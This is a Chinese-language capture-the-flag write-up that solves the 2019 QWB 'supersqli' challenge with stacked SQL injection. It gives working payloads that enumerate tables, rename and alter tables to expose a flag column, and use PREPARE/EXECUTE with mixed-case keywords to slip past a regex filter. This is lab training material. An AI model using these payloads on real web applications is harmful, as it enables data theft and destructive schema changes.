簡介
原題復現:https://gitee.com/xiaohua1998/qwb_2019_supersqli
考察知識點:SQL注入漏洞-堆疊注入
線上平台:https://buuoj.cn(北京聯合大學公開的CTF平台) 榆林學院內可使用信安協會內部的CTF訓練平台找到此題
做題過程
打開頁面測試注入點
//判斷注入點 存在注入! ' and 1=1# ' and 1=2#
//判斷字段 字段為2! order by 2#
之后進行union聯合注入的時候發現了正則過濾 幾乎過濾了我們所有能用到的語句
' union select 1,2#
在這里我們采用堆疊注入 show tables 查詢當前數據庫中的表發現了兩個表
';show tables;#
我們可以采用show方法查看兩個表里面的字段
//查看words表的字段 ';show columns from words;# //查看1919810931114514表的字段 ';show columns from `1919810931114514`;#
(此段看WP的emmmm我都被菜哭了,不過這個姿勢真的騷)我們現在得到了表名 字段名 我們想剛開始我們打開的頁面輸入1有回顯 回顯的數據肯定來自word這個表所以這下我們啟用騷姿勢
我們可以把原有的word表改名為其他比如word1將`1919810931114514`這個表改名為word 然后我們將他的flag字段改成id
payload:
1';rename table `words` to `words1`;rename table `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100) character utf8_general_ci NOT NULL;#
提交1'or 1=1# 因為id為1的值查不到所以返回為假 id字段里面的值是flag 所以加上這個讓這條語句始終返回真則會爆出flag;
方法二:
//在存有flag的表中添加一個id列, alter table `1919810931114514` add(id int NULL); //將words的表更名為任意名 rename table `words` to `xiaohua`; //將存有flag的表19198...更名為words rename table `1919810931114514` to `words`;
payload:
1';alter table `1919810931114514` add(id int NULL);rename table `words` to `xiaohua`;rename table `1919810931114514` to `words`;
這里完了之后我們的flag表里面的值是顯示不出來的因為id 是NULL所以用or 1=1語句前面的語句返回為假 后面的返回為真也是真
獲得flag:
方法三:
使用這個方法: Mysql預處理語句prepare、execute、deallocate
我們進行構造這個語句:
set @a=concat("sel","ect flag from `1919810931114514`"); prepare hello from @a execute hello;
payload:
1';set @a=concat("sel","ect flag from `1919810931114514`");prepare hello from @a;execute hello;#
發現有過濾 我們可以想辦法繞過
大小寫繞過payload:
1';sEt @a=concat("sel","ect flag from `1919810931114514`");Prepare hello from @a;execute hello;#
得到flag
參考學習
https://www.cnblogs.com/chrysanthemum/p/11657008.html
https://www.zhaoj.in/read-5873.html
https://www.jianshu.com/p/e896bd3f5097